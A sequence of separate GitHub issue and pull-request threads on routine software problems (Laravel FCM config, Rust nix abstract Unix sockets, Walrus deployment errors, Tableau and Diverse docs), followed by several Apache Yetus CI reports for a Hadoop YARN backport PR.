To simplify this a bit, the following is equivalent (ignoring the export):
export HDF5_DIR=$(readlink -f $(brew --prefix hdf5))


Type error: Too few arguments to function Illuminate\Support\Manager::createDriver()

I installed the package in my laravel, and when I'm trying to send a push notification to my device using the exact same code in the readme, I get the following error:
Type error: Too few arguments to function Illuminate\\Support\\Manager::createDriver(), 0 passed in \/home\/pokemoti\/public_html\/api\/vendor\/laravel\/framework\/src\/Illuminate\/Support\/Manager.php on line 87 and exactly 1 expected
The line caused the error is:
$downstreamResponse = FCM::sendTo($token, $option, $notification, $data);
I couldn't figure out what's wrong as soon as it's the documentation code..
What's could have gone wrong?

@theunreal how u solved this?

For anyone who got same issue try to publish config file using php artisan vendor:publish

I had this problem. It was caused by a missing return on the bottom of my config file.


sys/socket: add UnixAddr abstract name getter

This introduces an as_abstract() getter to UnixAddr in order to
retrieve the name of an abstract unix socket.
This also adds tests around abstract addresses and clarify docs,
adding explicit semantics.

It looks like master is currently broken due to this libc change: https://github.com/rust-lang/libc/pull/787. /cc @vojtechkral
I also realized I forgot the relevant CHANGELOG entry, I'll add it on the next rebase once master is fixed. Reviews and comments still welcome in the meanwhile.

Hi @lucab
To fix this, you probably just need to change #[repr(i32)] of the EventFilter to #[repr(u32)]. (OTOH if you believe my fix was incorrect or should not have been merged, please feel free to comment in the libc issue thread.)

PTAL on second iteration:

rebased on a green master
added CHANGELOG entries
restricted abstract addresses methods to Linux only

@asomers I did as you suggested but I am not a fan of it, because UnixAddr is just a container for a typed address. I don't see why it should conditionally change depending on where you build. Perhaps a LinuxExt trait?

@lucab The #[cfg(target_os = "linux")] guard doesn't care about where you build, only where you target.  And abstract sockets only work on Linux*.  So it doesn't make sense to enable that code for any other OS.  And I don't see what value a LinuxExt trait would add.  Could you please explain?

It would be worth checking if Android, which is considered a separate OS by Rust,  supports them too.

@asomers I'm fine with your feedback, I don't want to keep bikeshedding this further.
I've double-checked Android docs and then added support for it as well, PTAL.

Thanks for your submission.
bors r+


Could not retrieve enough confirmations to certify the blob

What happened?
The deployment (update) is not happening.
The clients used are as follows.
walrus 1.0.0-b038e1d4c0f7
site-builder 1.0.0-09fe3ac2975c
The deployment environment was set up using GitHub Actions for deployment from GitHub. And the action logs are as follows.
https://github.com/zktx-io/walrus-pass-monorepo/actions/runs/11452489159/job/31864643965
Search terms
https://github.com/MystenLabs/walrus-sites/issues?q=confirm
Steps to reproduce
https://github.com/zktx-io/walrus-pass-monorepo/actions/runs/11452489159/job/31864643965
Deviation steps
No response
Relevant log output
Error during execution
Error: running the command exited with error: 2024-10-22T03:59:50.657491Z  INFO walrus_service::client::cli::args: running in JSON mode
2024-10-22T03:59:50.657568Z  INFO walrus: client version: 1.0.0-b038e1d4c0f7
2024-10-22T03:59:50.657614Z  INFO walrus_service::client::cli: using Walrus configuration from '/home/runner/.walrus/client_config.yaml'
2024-10-22T03:59:50.657678Z  INFO walrus_service::common::utils: using Sui wallet configuration from '/home/runner/.sui/sui_config/client.yaml'
2024-10-22T03:59:50.931706Z  WARN sui_sdk::wallet_context: Client/Server api version mismatch, client api version : 1.35.0, server api version : 1.36.1
[warn] Client/Server api version mismatch, client api version : 1.35.0, server api version : 1.36.1
2024-10-22T03:59:51.659377Z  INFO walrus_service::client::cli::runner: Storing file /tmp/holder/build/asset-manifest.json as blob on Walrus
2024-10-22T03:59:53.926421Z  INFO reserve_and_store_blob_retry_epoch{blob_id="abIxkMw8z6qFEvi0khd8l1j0dkl_H90MSvRJtGX5F7E"}:send_blob_data_and_get_certificate: walrus_service::client: starting to send data to storage nodes
2024-10-22T04:01:27.746166Z  WARN reserve_and_store_blob_retry_epoch{blob_id="abIxkMw8z6qFEvi0khd8l1j0dkl_H90MSvRJtGX5F7E"}: walrus_service::client: an error occurred during the current operation, which may be caused by epoch change; refreshing the committees and retrying error=could not retrieve enough confirmations to certify the blob: 0 / 667 required;
2024-10-22T04:01:29.239762Z  INFO reserve_and_store_blob_retry_epoch{blob_id="abIxkMw8z6qFEvi0khd8l1j0dkl_H90MSvRJtGX5F7E" blob_id="abIxkMw8z6qFEvi0khd8l1j0dkl_H90MSvRJtGX5F7E"}:send_blob_data_and_get_certificate: walrus_service::client: starting to send data to storage nodes
Error: could not retrieve enough confirmations to certify the blob: 0 / 667 required;
Storing resource on Walrus: /asset-manifest.json ... 7
Error: Process completed with exit code 1.

Version

[X] walrus and site-builder are up to date.

If applicable, what browsers are you seeing the problem on?
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct.

Hi @daoauth, have you updated your client configuration file?
i.e. ~/.walrus/client_config.yaml should contain the following:
package_id: 0x9f992cc2430a1f442ca7a5ca7638169f5d5c00e0ebc3977a65e9ac6e497fe5ef
system_object: 0x50b84b68eb9da4c6d904a929f43638481c09c03be6274b8569778fe085c1590d
staking_object: 0x37c0e4d7b36a2f64d51bba262a1791f844cfd88f31379f1b7c04244061d43914
exchange_object: 0x0e60a946a527902c90bbc71240435728cd6dc26b9e8debc69f09b71671c3029b
communication_config:
  disable_native_certs: true

Thank you for the prompt action. However, I am still encountering the same error, even after updating the client configuration file
https://github.com/zktx-io/walrus-pass-monorepo/actions/runs/11458757254/job/31881820021
https://github.com/zktx-io/walrus-sites-ga/releases/tag/v0.2.8
Error during execution
Error: running the command exited with error: 2024-10-22T11:02:55.288236Z  INFO walrus_service::client::cli::args: running in JSON mode
2024-10-22T11:02:55.288304Z  INFO walrus: client version: 1.0.0-b038e1d4c0f7
2024-10-22T11:02:55.288345Z  INFO walrus_service::client::cli: using Walrus configuration from '/home/runner/.walrus/client_config.yaml'
2024-10-22T11:02:55.288413Z  INFO walrus_service::common::utils: using Sui wallet configuration from '/home/runner/.sui/sui_config/client.yaml'
2024-10-22T11:02:55.481169Z  WARN sui_sdk::wallet_context: Client/Server api version mismatch, client api version : 1.35.0, server api version : 1.36.1
[warn] Client/Server api version mismatch, client api version : 1.35.0, server api version : 1.36.1
2024-10-22T11:02:56.256798Z  INFO walrus_service::client::cli::runner: Storing file /tmp/holder/build/asset-manifest.json as blob on Walrus
2024-10-22T11:03:01.065772Z  INFO reserve_and_store_blob_retry_epoch{blob_id="R6JnSFB_9k6kmgw6hGCQnyYhDNhh7u2uNtPOBDESv1I"}:send_blob_data_and_get_certificate: walrus_service::client: starting to send data to storage nodes
2024-10-22T11:04:34.888612Z  WARN reserve_and_store_blob_retry_epoch{blob_id="R6JnSFB_9k6kmgw6hGCQnyYhDNhh7u2uNtPOBDESv1I"}: walrus_service::client: an error occurred during the current operation, which may be caused by epoch change; refreshing the committees and retrying error=could not retrieve enough confirmations to certify the blob: 630 / 667 required;
2024-10-22T11:04:36.329732Z  INFO reserve_and_store_blob_retry_epoch{blob_id="R6JnSFB_9k6kmgw6hGCQnyYhDNhh7u2uNtPOBDESv1I" blob_id="R6JnSFB_9k6kmgw6hGCQnyYhDNhh7u2uNtPOBDESv1I"}:send_blob_data_and_get_certificate: walrus_service::client: starting to send data to storage nodes
Error: could not retrieve enough confirmations to certify the blob: 630 / 667 required;

Storing resource on Walrus: /asset-manifest.json ... 7

I see, seems that we have been experiencing an issue with the testnet full nodes.
The system is operational for reads (including Walrus Sites) but not for writes.
It is expected to be resolved tomorrow when the operators will upgrade their nodes.

I see, seems that we have been experiencing an issue with the testnet full nodes.
The system is operational for reads (including Walrus Sites) but not for writes.
It is expected to be resolved tomorrow when the operators will upgrade their nodes.

Thank you, I will test it again tomorrow. How can I know when the nodes have been upgraded?

How can I know when the nodes have been upgraded?
There is no public interface to know this, so the most direct way would be just by retrying 😓 .

I have confirmed that the deployment works without issues. However, I noticed that both the previous version and the new version of client_config.yaml work fine for deployment. Could you please let me know if it’s better to revert to the original version or keep the new configuration you provided? Thank you. @Tzal3x
previous client_config.yaml
https://github.com/zktx-io/walrus-pass-monorepo/actions/runs/11452489159
new client_config.yaml
https://github.com/zktx-io/walrus-pass-monorepo/actions/runs/11458757254

Could you please let me know if it’s better to revert to the original version or keep the new configuration you provided?

The safest bet is to keep using the original one.
No problem, if you stumble again in any issues, feel free to open an issue again! 😄
Closing the current one as resolved.


Update beta-testing-experiences.md

The picture is duplicated.
Changes

I deleted one line that duplicated a picture.

Checks
By submitting your pull request for review, you agree to the following:

[X] This contribution was created in whole or in part by me, and I have the right to submit it under the terms of this repository's open source licenses.
[X] I understand and agree that this contribution and a record of it are public, maintained indefinitely, and may be redistributed under the terms of this repository's open source licenses.
[X] To the best of my knowledge, all proposed changes are accurate.

Thank you @RoloTheDevBunny!


Is GenerateInteger Max value inclusive or exclusive?

Is it normal that documentation tells exclusive for maximum in the summary
"Generates a random integer value between a min (inclusive) and a max (exclusive) value."
But inclusive for param
"The inclusive upper bound of the random number returned."
https://github.com/tpierrain/Diverse/blob/0f0b99a1300b4145651cc40bf4c2c03e6789121a/Diverse/Numbers/NumberFuzzer.cs#L25

I agree, the documentation is misleading (there is an explicit test in the repo that actually checks for the inclusivity of the maxValue.


Bump default Server version

As of 2021-11-11, Tableau Server versions below 2020.4.x are out of support. Bumping the default server version in accordance with that.

We should weigh the pros and cons here.
What benefit should this bring?
I can think of one possible con: customers are still using unsupported (old) Tableau versions. This could be a surprise to them if they upgrade to a new TSC release and their old scripts stop working.

The base was intentionally set low because the "server-info" endpoint didn't exist before "2.4", and trying to determine the server version would fail if it were a 2.3v server. Setting the default to the lowest lets us always upgrade.
I've argued to make the "upgrade to latest sever version automatically on sign in" the default forever, and would be happy to promote that... but even if you did that, you need the default version to be lowish. If you upgrade default in lockstep with the latest, an upgrade to TSC would break on sign-in against an older server, even if that server is a supported version.

@t8y8 That makes sense. You kinda hope that no one is on a server that old, but it would definitely happen. I intentionally didn't update to latest, but instead only to versions still in support. That said, a less disruptive way would be to default the check server info to True.
It looks to me like the internals of fetching the server version will already gracefully handle not being able to find the get_server_info endpoint. I will close this PR. I see there is already an open issue on setting the default of using the latest server version. I will move the conversation there.


YARN-6648. BackPort [GPG] Add SubClusterCleaner in Global Policy Generator.

Description of PR
JIRA: YARN-6648. BackPort [GPG] Add SubClusterCleaner in Global Policy Generator.
How was this patch tested?
For code changes:

[ ] Does the title or this PR starts with the corresponding JIRA issue id (e.g. 'HADOOP-17799. Your PR title ...')?
[ ] Object storage: have the integration tests been executed and the endpoint declared according to the connector-specific documentation?
[ ] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?
[ ] If applicable, have you updated the LICENSE, LICENSE-binary, NOTICE-binary files?

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 34s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s

No case conflicting files found.

+0 :ok:
codespell
0m  1s

codespell was not available.

+0 :ok:
detsecrets
0m  1s

detect-secrets was not available.

+0 :ok:
xmllint
0m  1s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
15m 55s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
20m 20s

trunk passed

+1 :green_heart:
compile
7m 14s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
7m  3s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
1m 46s

trunk passed

+1 :green_heart:
mvnsite
5m 39s

trunk passed

+1 :green_heart:
javadoc
5m 49s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m 16s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
17m 33s

trunk passed

+1 :green_heart:
shadedclient
20m 10s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 26s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
4m 42s

the patch passed

+1 :green_heart:
compile
6m 57s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
6m 57s

the patch passed

+1 :green_heart:
compile
6m 34s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
6m 34s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 35s

the patch passed

+1 :green_heart:
mvnsite
5m 18s

the patch passed

-1 :x:
javadoc
3m 19s
/results-javadoc-javadoc-hadoop-yarn-project_hadoop-yarn-jdkUbuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1.txt
hadoop-yarn-project_hadoop-yarn-jdkUbuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 generated 2 new + 356 unchanged - 0 fixed = 358 total (was 356)

-1 :x:
javadoc
0m 19s
/results-javadoc-javadoc-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-globalpolicygenerator-jdkUbuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1.txt
hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-globalpolicygenerator-jdkUbuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 generated 2 new + 0 unchanged - 0 fixed = 2 total (was 0)

-1 :x:
javadoc
2m 50s
/results-javadoc-javadoc-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09.txt
hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09 with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09 generated 2 new + 584 unchanged - 0 fixed = 586 total (was 584)

-1 :x:
javadoc
0m 16s
/results-javadoc-javadoc-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-globalpolicygenerator-jdkPrivateBuild-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09.txt
hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-globalpolicygenerator-jdkPrivateBuild-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09 with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09 generated 2 new + 0 unchanged - 0 fixed = 2 total (was 0)

+1 :green_heart:
spotbugs
16m 38s

the patch passed

+1 :green_heart:
shadedclient
20m 30s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
235m 20s

hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 12s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
5m 46s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 32s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 40s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m  0s

The patch does not generate ASF License warnings.

432m 41s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux ff27063a807e 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 2ed110957ef1731ea7dd04827d894311311a8a8d

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/1/testReport/

Max. process+thread count
2573 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/1/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 38s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+0 :ok:
detsecrets
0m  0s

detect-secrets was not available.

+0 :ok:
xmllint
0m  0s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
18m 33s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
20m 28s

trunk passed

+1 :green_heart:
compile
7m  9s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
6m 22s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
1m 48s

trunk passed

+1 :green_heart:
mvnsite
5m 35s

trunk passed

+1 :green_heart:
javadoc
6m  0s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m  9s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
16m 22s

trunk passed

+1 :green_heart:
shadedclient
20m 53s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 30s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
4m 40s

the patch passed

+1 :green_heart:
compile
6m 49s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
6m 49s

the patch passed

+1 :green_heart:
compile
6m 38s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
6m 38s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 38s

the patch passed

+1 :green_heart:
mvnsite
5m 14s

the patch passed

+1 :green_heart:
javadoc
5m 30s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
4m 45s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
16m 43s

the patch passed

+1 :green_heart:
shadedclient
20m 45s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
234m  8s

hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 15s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
5m 48s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 40s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 39s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m  7s

The patch does not generate ASF License warnings.

433m 49s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/2/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux b01c19df6afc 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 91484a0a50db781772b1f66ca4a02059bb8b8464

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/2/testReport/

Max. process+thread count
2700 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/2/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 41s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+0 :ok:
detsecrets
0m  0s

detect-secrets was not available.

+0 :ok:
xmllint
0m  0s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
24m 25s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
22m 46s

trunk passed

+1 :green_heart:
compile
8m 18s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
7m 37s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
1m 47s

trunk passed

+1 :green_heart:
mvnsite
5m 41s

trunk passed

+1 :green_heart:
javadoc
6m 15s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m 16s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
17m 43s

trunk passed

+1 :green_heart:
shadedclient
22m 15s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 29s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
4m 48s

the patch passed

+1 :green_heart:
compile
7m 36s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
7m 36s

the patch passed

+1 :green_heart:
compile
6m 56s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
6m 55s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 43s

the patch passed

+1 :green_heart:
mvnsite
5m 25s

the patch passed

+1 :green_heart:
javadoc
5m 42s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
4m 51s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
18m 20s

the patch passed

+1 :green_heart:
shadedclient
23m 30s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
234m 30s

hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 18s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
5m 46s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 26s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 37s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m  4s

The patch does not generate ASF License warnings.

454m 15s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/3/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux 8d6c41859c83 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 9742423dd4aaad62d8c0d24eac33206ef2ad2367

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/3/testReport/

Max. process+thread count
2775 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/3/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 42s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s

No case conflicting files found.

+0 :ok:
codespell
0m  1s

codespell was not available.

+0 :ok:
detsecrets
0m  1s

detect-secrets was not available.

+0 :ok:
xmllint
0m  1s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 2 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
16m 22s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
19m 38s

trunk passed

+1 :green_heart:
compile
7m  9s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
6m 17s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
1m 43s

trunk passed

+1 :green_heart:
mvnsite
5m 20s

trunk passed

+1 :green_heart:
javadoc
5m 51s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m  2s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 48s

trunk passed

+1 :green_heart:
shadedclient
20m 17s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 29s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
4m 32s

the patch passed

+1 :green_heart:
compile
6m 22s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
6m 22s

the patch passed

+1 :green_heart:
compile
6m 15s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
6m 15s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 53s

the patch passed

+1 :green_heart:
mvnsite
5m 12s

the patch passed

+1 :green_heart:
javadoc
5m  9s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
4m 41s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 58s

the patch passed

+1 :green_heart:
shadedclient
20m 11s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
233m 40s

hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 15s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
5m 46s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 30s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 46s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m  5s

The patch does not generate ASF License warnings.

426m 16s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/4/artifact/out/Dockerfile

GITHUB PR
